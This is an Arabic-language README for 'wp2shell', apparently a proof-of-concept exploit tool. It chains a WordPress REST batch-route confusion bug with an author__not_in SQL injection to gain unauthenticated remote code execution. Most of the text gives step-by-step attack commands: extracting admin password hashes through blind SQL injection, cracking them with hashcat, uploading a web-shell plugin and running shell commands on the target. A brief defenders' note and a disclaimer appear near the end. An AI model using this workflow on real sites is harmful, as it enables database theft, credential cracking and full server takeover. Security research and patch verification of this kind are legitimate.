
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
POC لتنفيذ كود عن بُعد غير مصادق عليه في نواة ووردبريس (CVE-2026-63030 + CVE-2026-60137)
wp2shell هو استغلال لسلسلة ثغرات حرجة في نواة ووردبريس. يجمع بين خطأ الخلط في مسار دفعات REST API وحقن SQL في WP_Query لتحقيق تنفيذ كود عن بُعد غير مصادق عليه على تثبيتات ووردبريس المعرضة للخطر.
| التفاصيل | المعلومات |
|---|---|
| CVEs | CVE-2026-63030 (الخلط في مسار دفعات REST) + CVE-2026-60137 (author__not_in حقن SQL) |
| الإصدارات المتأثرة | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| الإصدار المُصحَّح | 6.9.5, 7.0.2 |
| المصادقة المطلوبة | لا شيء — بدون مصادقة |
| CVSS | حرجة (سلسلة RCE) |
| اكتشفها | Adam Kues (Assetnote / Searchlight Cyber) |
| الاعتماديات | Python 3.8+ — المكتبة القياسية فقط |
يستغل هذا الاستغلال خطأين في نواة ووردبريس:
CVE-2026-60137 — حقن SQL – عندما يتم تمرير author__not_in كسلسلة نصية بدلاً من مصفوفة، تتجاوز ووردبريس حارس التعقيم is_array() وتُدرج القيمة الخام في جملة SQL بصيغة NOT IN (...).
CVE-2026-63030 — الخلط في مسار الدفعات – تنشئ نقطة النهاية /wp-json/batch/v1 مصفوفتين متوازيتين $matches و$validation. يُضاف طلب فرعي غير صالح إلى $validation وليس إلى $matches، مما يسبب إزاحة مؤشر بمقدار +1. يتم إرسال الطلب الفرعي i مع معالج الطلب الفرعي i+1.
عند الدمج معًا: يتجاوز طلب POST /wp/v2/posts الذي يحمل طلبًا داخليًا GET /wp/v2/users مع سلسلة author_exclude كلاً من قائمة الأساليب المسموح بها وتعقيم المدخلات. تصل السلسلة إلى WP_Query كـauthor__not_in وتُدرج في SQL — مما يمنحك حقن SQL أعمى غير مصادق عليه.
من هناك، يمكن للأداة:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
هذا كل شيء. لا حاجة لأي حزم خارجية.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
يشغّل قائمة تفاعلية تتوفر فيها جميع الوظائف عبر خيارات مرقّمة.
check — تأكيد الثغرة (آمن)ينفّذ اختبار تأخير زمني لتأكيد قابلية الاستغلال. لا يقرأ أي بيانات ولا يغيّر شيئًا.
./wp2shell.py http://target.com check
read — استخراج البيانات (حقن SQL أعمى)يستخرج معلومات من قاعدة البيانات باستخدام حقن SQL أعمى قائم على الزمن.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — تنفيذ الكود عن بُعديتطلب بيانات اعتماد مسؤول صالحة. يمكن لحقن SQL استعادة تجزئة كلمة المرور، ولكن يجب عليك توفير كلمة المرور النصية المستعادة.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| الفرع | المتأثر | المُصحَّح |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (حقن SQL فقط، دون RCE) | 6.8.6 |
الإصدارات قبل 6.9.0 ليست متأثرة بسلسلة RCE الكاملة.
للمدافعين:
POST /wp-json/batch/v1 ذات أجسام requests متداخلة404 على مسار الدفعات دائمًا «تم التصحيح» — فقد يعني أيضًا أن WAF/CDN يحجب وصول REST API المجهولهذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط.
لمزيد من التفاصيل حول الثغرة، راجع مدونة أبحاث Searchlight Cyber.
| الميزة | الوصف |
|---|
| فحص الثغرات | اختبار تأخير زمني آمن — لا يقرأ أي بيانات ولا يغيّر شيئًا |
| استخراج البيانات | حقن SQL أعمى مع تحسين البحث الثنائي لاستخراج فعّال |
| تفريغ تجزئات المستخدمين | استخراج تجزئات user_login وuser_pass من wp_users |
| تنفيذ الكود عن بُعد | المصادقة كمسؤول، رفع إضافة ويب شيل، تنفيذ الأوامر |
| صدفة تفاعلية | جلسة تنفيذ أوامر مستمرة |
| مخرجات ملونة | تغذية بصرية واضحة لنتائج الفحص |
| بدون اعتماديات | يستخدم مكتبة Python القياسية فقط |
| الخيار | الوصف |
|---|
--users | استخراج user_login وuser_pass من wp_users |
--database | استخراج اسم قاعدة البيانات الحالية |
--version | استخراج إصدار MySQL |
--query "SQL" | تنفيذ استعلام SQL مخصص (استخراج أعمى) |
--user USER | اسم مستخدم المسؤول لـ RCE |
--password PASS | كلمة مرور المسؤول لـ RCE (نصية، مستعادة عبر حقن SQL) |
--cmd CMD | الأمر الذي سيتم تنفيذه عبر الويب شيل |